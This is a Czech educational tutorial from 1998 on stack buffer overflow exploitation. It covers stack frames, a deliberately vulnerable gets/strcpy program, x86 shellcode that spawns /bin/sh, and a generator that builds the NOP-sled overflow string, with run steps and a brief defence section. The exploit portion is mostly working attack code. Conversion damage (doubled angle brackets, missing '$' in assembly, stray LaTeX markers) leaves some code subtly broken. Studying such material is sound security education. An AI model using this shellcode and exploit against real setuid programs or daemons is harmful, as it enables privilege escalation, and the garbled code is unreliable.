Přetečení bufferu
                              -=-=-=-=-=-=-=-=-=-

                           "Never make any mistaeks."
        (Anonymous, in a mail discussion about to a kernel bug report.)

                         David Rohleder, 3. března 1998

          Přetečení  bufferu je jednou z nejčastějších  bezpečnostních děr
      v programech UNIXových systémů.

          Programovací   jazyky,   které   umožňují    rekurzivní   volání
      podprogramů  (podprogram je rekurzivní,  jestliže jeho nová aktivace
      může začít  ještě před tím, než se ukončí jeho  předchozí  aktivace)
      musí  pro  jejich  volání  používat  nějakou  dynamickou  strukturu,
      která udržuje informace  potřebné k úspěšnému návratu z podprogramu.
      K tomuto účelu se používá zásobník.

                                    Oblasti

          Nejdříve  si  musíme   vysvětlit,  jak  je  proces   organizován
      v paměti.  Proces je rozdělen  na tři  hlavní  oblasti:  text,  data
      a zásobník.

          Textová  oblast  obsahuje kód programu a data  určená  pouze pro
      čtení. Tato oblast je v paměti označena pouze pro čtení a není možno
      do ní  zapisovat.  Pokus o zápis  vyvolá  porušení  ochrany  paměti.
      V Linuxu  proto není možné psát samomodifikující se programy (no jo,
      kecám :--).

          Datová oblast  obsahuje  inicializovaná a neinicializovaná data.
      Obsahuje všechny globální  proměnné a dynamicky  alokované proměnné.
      S velikostí datové oblasti je možné manipulovat pomocí volání brk(2)
      a sbrk(2).

          Zásobník  slouží  především  k  uložení   lokálních   proměnných
      a předávání  parametrů  funkcím. Mezi bss a zásobník se ještě mapují
      sdílené knihovny a věci, které lze mapovat pomocí mmap(2).

          Zásobníková  oblast je souvislý  blok  paměti  obsahující  data.
      Na vrchol  zásobníku  ukazuje (u procesorů  Intel)  registr  SP. Dno
      zásobníku je na pevné  adrese.  Procesor  používá pro  manipulaci se
      zásobníkem dvě instrukce:  PUSH pro  ukládání a POP pro vybírání dat
      ze zásobníku.  Zásobník v závislosti  na typu  procesoru  roste  buď
      směrem k nižším  nebo k vyšším  adresám.  U procesorů  Intel,  SPARC
      a MIPS roste zásobník směrem k nižším adresám.

          Zásobník   používají   programy  k  volání  svých   podprogramů,
      předávání  parametrů a ukládání  lokálních  proměnných. Na zásobníku
      jsou uloženy ve formě tzv. aktivačního  záznamu AZ. Při implementaci
      přidělování  paměti  bývá jeden  registr  vyhrazen jako  ukazatel na
      začátek aktuálního  aktivačního  záznamu. Vzhledem k tomuto registru
      se pak  počítají  adresy  datových  objektů  umístěných v aktivačním
      záznamu. U procesorů  Intel se používá  registr BP  (Base  Pointer).
      Naplnění  tohoto  registru a přidělení  nového  aktivačního  záznamu
      je  součástí  volací  posloupnosti  (prologu)   podprogramu.  Volací
      posloupnost je rozdělena mezi volající a volaný podprogram. Volající
      uloží do  zásobníku  parametry  předávané  podprogramu.  Pak  zavolá
      pomocí instrukce CALL volaný podprogram. Návratová adresa je uložena
      na zásobník.  Volaný  podprogram na zásobník uloží ukazatel na starý
      aktivační  záznam  (BP), pak do ukazatele BP uloží vrchol  zásobníku
      a nakonec  vyhradí  místo pro  lokální  proměnné.  Podprogram  potom
      inicializuje lokální proměnné a začne provádět své tělo.

 int f(int a, int b, int c)
 {
   char buffer[5];
   char buffer2[10];

   return a+b;
 }

 void main(void)
 {
   f(1,2,3);
 }

          Pomocí gcc vygenerujeme assemblerový kód:

 gcc -S -o example1.s example1.c

          Příslušný kód pro volání funkce f vypadá následovně:

pushl 3
pushl 2
pushl 1
call f

          Program  uloží  tři  argumenty v pořadí od  posledního k prvnímu
      na zásobník a pak zavolá  funkci f. Toto pořadí  ukládání  parametrů
      na  zásobník  umožňuje  snadné  volání  funkcí s proměnlivým  počtem
      parametrů  (funkce s výpustkou -- int funkce(...)).  Instrukce  call
      f uloží  na  zásobník  návratovou  adresu  (návrat  je pak  proveden
      instrukcí RET).

          Volaný podprogram pak provede prolog:

/* uloží ukazatel na starý AZ do zásobníku */
pushl %ebp
/* do BP uloží ukazatel na nový AZ */
movl %esp,%ebp
/* vyhrazení místa pro lokální proměnné */
subl 20,%esp

          Uloží  registr  ukazující na stávající  aktivační  záznam  (ebp)
      a uloží do něj nový ukazatel na právě vytvářený  záznam. Pak vytvoří
      místo pro lokální proměnné.  Překladač  zarovnává  proměnné na délku
      slova  (tzn. v našem  případě 4B). Takže bytový  buffer  velikosti 5
      bytů ve skutečnosti  zabírá 8 bytů a buffer2  zabírá 12 bytů.  Proto
      je nutno od SP odečíst 20.

          Po  provedení  těla  podprogramu je nutné  obnovit  stav,  který
      byl  před  voláním  podprogramu.  Tento  postup se nazývá  návratová
      posloupnost   function  epilog)  a  je  opět  rozdělen  mezi  volaný
      a volající  podprogram.  Volaný  podprogram  odstraní  ze  zásobníku
      lokální  proměnné a obnoví  ukazatel na předchozí  AZ. Potom  pomocí
      instrukce  RET  vrátí  řízení   volajícímu   podprogramu.   Volající
      podprogram  dokončí  návratovou  posloupnost  tím,  že  odstraní  ze
      zásobníku parametry předávané podprogramu.

          Návratová posloupnost volaného podprogramu:

/* odstranění lokálních proměnných ze zásobníku */
movl %ebp,%esp
/* obnovení ukazatele na AZ volajícího podprogramu */
popl %ebp
/* návrat do volajícího podprogramu */
ret

          Návratová posloupnost volajícího podprogramu:

/* odstranění předávaných parametrů ze zásobníku */
addl 12,%esp


                               Přetečení bufferu

          Data se tedy do zásobníku  vkládají  od vyšších  adres k nižším.
      Většina  operací se ovšem provádí od nižších adres k vyšším adresám.
      Typickým příkladem může být kopírování řetězců

 #include <<string.h>>
 #include <<stdio.h>>

 void f(char *str)
 {
   char buffer[96];
   /* tady jsou nějaké instrukce */

   strcpy(buffer,str);

   /* tady mohou být nějaké další instrukce */
 }

 char retezec[512];

 void main(void)
 {
   gets(retezec);
   f(retezec);
 }

  gcc -o example2 example2.c
  ./example2
 Opravdu velmi ..... sem doplňte min. 90 \
 znaků .... dlouhý string
 ^D
 Segmentation fault (core dumped)

          Zde  programátor  udělal  chybu,  když  neošetřil  stav,  kdy je
      do proměnné  buffer  uloženo více dat než je její velikost. To se mu
      ovšem krutě vymstí. Protože je proměnná buffer uložena na zásobníku,
      který  roste  od  vyšších  adres k  nižším,  jsou  přepsány  všechny
      informace, které se nacházejí nad proměnnou  buffer.  Naneštěstí zde
      leží  také  návratová  adresa do volajícího  podprogramu. Při pokusu
      o návrat tedy s největší  pravděpodobností dojde k porušení  ochrany
      paměti a k násilnému ukončení procesu.

          Ale co s tím?  Zatím to  nevypadá na nějakou  možnost  zneužití.
      Program  se  pokoušel  provést  kód,  kde  žádný  kód  nebyl  a  tak
      interpretovat v podstatě  náhodný kód nebo sáhl do oblasti, ke které
      neměl  přístup.  Ale  co se  stane v případě,  kdy  na  daném  místě
      skutečně nějaký programový kód bude? Kód se jednoduše provede.

Nejjednodušší případ

          Zřejmě nejjednodušší je spuštění  shellu. Na návratovou  adresu,
      kterou  přepsal příliš dlouhý  řetězec  umístíme volání jádra execve
      pro spuštění shellu (/bin/sh). Jediné co musíme vědět je, jak takové
      volání vypadá

 #include <<unistd.h>>

 int main()
 {
   char *name[2];

   name[0]="/bin/sh";
   name[1]=NULL;

   execve(name[0],name,NULL);

   return 0;
 }

 gcc -g -O example3.c -o example3

          Výstup z gdb vypadá pro funkci main() následovně:

 (gdb) disas main
 Dump of assembler code for function main:
 0x8048140 <<main>>:    pushl %ebp
 0x8048141 <<main+1>>:  movl  %esp,%ebp
 0x8048143 <<main+3>>:  pushl 0x0
 0x8048145 <<main+5>>:  pushl 0x0
 0x8048147 <<main+7>>:  pushl 0x8058828
 0x804814c <<main+12>>: call 0x8048354 <<execve>>
 0x8048151 <<main+17>>: xorl  %eax,%eax
 0x8048153 <<main+19>>: movl  %ebp,%esp
 0x8048155 <<main+21>>: popl  %ebp
 0x8048156 <<main+22>>: ret
 End of assembler dump.
 (gdb)

          Disassemblovaný výstup z funkce execve():

 0x8048354 <<execve>>:    pushl %ebp
 0x8048355 <<execve+1>>:  movl  %esp,%ebp
 0x8048357 <<execve+3>>:  pushl %ebx
 0x8048358 <<execve+4>>:  movl  0xb,%eax
 0x804835d <<execve+9>>:  movl  0x8(%ebp),%ebx
 0x8048360 <<execve+12>>: movl  0xc(%ebp),%ecx
 0x8048363 <<execve+15>>: movl  0x10(%ebp),%edx
 0x8048366 <<execve+18>>: int   0x80
 0x8048368 <<execve+20>>: movl  %eax,%edx
 0x804836a <<execve+22>>: testl %edx,%edx
 0x804836c <<execve+24>>: jnl   0x804837e <<execve+42>>
 0x804836e <<execve+26>>: negl  %edx
 0x8048370 <<execve+28>>: pushl %edx
 0x8048371 <<execve+29>>: call  0x8050a44 <<__normal_errno_location>>
 0x8048376 <<execve+34>>: popl  %edx
 0x8048377 <<execve+35>>: movl  %edx,(%eax)
 0x8048379 <<execve+37>>: movl  0xffffffff,%eax
 0x804837e <<execve+42>>: popl  %ebx
 0x804837f <<execve+43>>: movl  %ebp,%esp
 0x8048381 <<execve+45>>: popl  %ebp
 0x8048382 <<execve+46>>: ret
 0x8048383 <<execve+47>>: nop

          Nejdůležitější  činností  knihovní funkce execve je volání jádra
      vytvářející  nový  proces. V Linuxu  pro Intel se pro  volání  jádra
      používá  přerušení int 80. Číslo  funkce jádra se předává v registru
      eax a případné  parametry  pak v dalších  registrech.  Číslo  0xb je
      právě číslo funkce v jádře, která přepíše  stávající kód novým kódem
      a spustí jej.

          Nyní by stačilo  použít  tuto část  kódu  jako  řetězec,  kterým
      přetečeme  buffer v níže uvedeném  programu. Jsou zde ovšem dva malé
      problémy.  Řetězec  "/bin/sh"  se do volání  execve()  předává  jako
      ukazatel na řetězec.  Tento  řetězec je umístěn v datovém  segmentu.
      Protože  nemůžeme  počítat  s tím,  že  program,  který  se  snažíme
      napadnout  bude mít někde v paměti  řetězec  "/bin/sh"  musíme si ho
      dodat sami. Druhý problém spočívá v tom, že kód obsahuje nulové byty
      -- chceme totiž pro přetečení bufferu použít volání strcpy().

          Řešení  prvního  problému  je  následující:  řetězec   "/bin/sh"
      umístíme na konec našeho  řetězce s kódem. Nyní musíme ovšem zjistit
      adresu tohoto řetězce.  Použijeme k tomu sekvenci  relativního skoku
      (jmp) a relativního volání (call). Instrukci jmp umístíme na začátek
      kódu. Instrukci call na konec  kódu,  těsně před řetězec  "/bin/sh".
      Instrukce jmp provede  relativní skok na instrukci call, která uloží
      do zásobníku  návratovou adresu a provede skok na instrukci těsně za
      jmp. Instrukce call uloží na zásobník adresu následující  instrukce.
      Za call ovšem není instrukce, ale řetězec  "/bin/sh". Tímto  poněkud
      komplikovaným způsobem jsme získali adresu řetězce "/bin/sh".

          Druhý   problém   vyřešíme   pomocí   instrukce  xor  %eax,%eax,
      tak dostaneme do registru  eax nulu bez uvedení  nulového  bytu. Tak
      na všechna  místa, kde by měla být nula umístíme nulu až v době běhu
      našeho kódu.

 #include <<stdlib.h>>

 #define BUFFER_SIZE 96
 #define AZ 12
 #define NAS_BUFFER BUFFER_SIZE+AZ+1
 #define NOP 0x90

 /* Velikost bufferu, který se snažíme přetéct.
  * Na začátku bude obsahovat instrukce nop a * na konci adresy začátku programu
  * AZ ... velikost aktivačního záznamu
  */

 /*
  * řetězec použitý pro spuštění programu /bin/sh
  * podle chuti je možno nahradit /bin/sh jinym programem
  * se jménem o délce 7 znaků: např. /bin/ps
  */

 char shell[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
     "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 char *buff, *ptr;
 unsigned long *addr, *addr_ptr;
 int i;

 void main(int argc, char *argv[])
 {
   if (argc<<2) {
     printf("špatný počet argumentů\n");
     exit(1);
   }

   sscanf(argv[1],"%p",&addr);

   if(!(buff = malloc(NAS_BUFFER))){
     printf("Nedostatek paměti ???\n");
     exit(1);
   }

   addr_ptr = (long *) buff ;

   for(i=0;i<<(NAS_BUFFER);i+=4)
     *(addr_ptr++) = addr;

   /* pár NOPů na začátek nemůže uškodit */

   for(i=0;i<<20;i++) *(buff+i) = NOP;

   ptr=buff+20;
   for (i=0;i<<strlen(shell);i++) *ptr++=shell[i];

   buff[NAS_BUFFER-1]='\0';

   printf("%s\n",buff);
 }

          Z programu na výpisu pak získáme  řetězec, který spolu s dalšími
      částmi použijeme při přetečení bufferu. Program, který tento řetězec
      vytvoří je na výpisu:

 void main()
 {
   __asm__("
    jmp     0x1f            # skok na instrukci call
    popl    %esi            # adresa řetězce /bin/sh
    movl    %esi,0x8(%esi)  # druhý parametr volání execve na zásobník
    xorl    %eax,%eax       #
    movb    %eax,0x7(%esi)  # ukončí řetězec /bin/sh nulou
    movl    %eax,0xc(%esi)  # třetí parametr volání execve na zásobník
    movb    0xb,%al        # syscall 11 -- execve
    movl    %esi,%ebx       # první parametr do %ebx
    leal    0x8(%esi),%ecx  # druhý parametr do %ecx
    leal    0xc(%esi),%edx  # třetí parametr do %edx
    int     0x80           # volání jádra execve
    xorl    %ebx,%ebx       # proběhne pouze v případě,
    movl    %ebx,%eax       # že volání execve selže, pak se volá
    inc     %eax            #
    int     0x80           # exit(0)
    call    -0x24           # získání adresy řetězce a návrat na začátek
    .string "/bin/sh"
 ");
 }




          Tímto  způsobem  vygenerujeme  řetězec,  který  bude  na začátku
      obsahovat  několik  instrukcí  NOP (pro  jistotu,  nemusí  tam být),
      pak  řetězec,  který  spouští  program   /bin/sh  a  nakonec  adresu
      začátku  řetězce, kterou zadáme jako parametr (touto částí přepíšeme
      návratovou  adresu). Nyní ovšem musíme  zjistit, kde začíná proměnná
      buffer na zásobníku.  Asi  nejjednodušší  způsob je upravit  program
      example2.c, aby nám tuto adresu vytiskl

 #include <<string.h>>
 #include <<stdio.h>>

 void f(char *str)
 {
    char buffer[96];
    fprintf(stderr,"Zásobník: %p\n",buffer);
    strcpy(buffer,str);
 }

 char retezec[512];

 void main(void)
 {
    gets(retezec);
    f(retezec);
 }

          Funkčnost programu ověříme následovně:


  gcc -o example5 example5.c
  gcc -o example6 example6.c
  ./example6
 ^D
 Zásobník: 0xbffffabc
  ./example5  0xbffffabc | ./example6
  \end{verbatim}%
 A nyní na původním programu:
 \begin{verbatim}
  ./example6
 ^D
 Zásobník: 0xbffffabc
  ./example5 0xbffffabc | ./example2

          Pokud  jsme  postupovali  správně,  tak  se  speciálním  vstupem
      dosáhneme  spuštění  jiného  programu  (pokud to není zřejmé, zkuste
      nahradit  řetězec  "/bin/sh"  řetězcem  "/bin/ps").   Představte  si
      takovou  chybu například v programu  finger  (dříve byl spouštěn pod
      uživatelem root).

                                   Zneužití?

          Možnost  zneužití  takovéto  programátorské chyby obvykle závisí
      na charakteristice daného programu. O zneužití se dá hovořit zejména
      v  případě  programů s  propůjčením  identifikace  vlastníka  (suid)
      nebo aplikací  spuštěných s oprávněním  někoho  jiného a čtoucí data
      od uživatele (např. síťové  démony). Asi nejznámější případ takového
      druhu zneužití byl tzv. Morrisův  internetový červ zneužívající mimo
      jiné přetečení bufferu při čtení dat v démonu finger(1).

                                    Obrana?

          Správné programovací  techniky :--). Záměna funkcí typu strcpy()
      za funkce strncpy(), gets() za fgets() a pod. Dalšími možnostmi jsou
      zejména  speciálně  upravené  překladače nebo přímo  patch do jádra.
      O tom možná někdy příště...

          Použitá   literatura:   Smith,   Nathan   P.:   Stack   Smashing
      Vulnerabilities in the UNIX  Operating  System  http://millcomm.com/
      nate/machines/security/stack-smashing/,   Aleph  One:  Smashing  The
      Stack For Fun And Profit Phrack 49


            výheň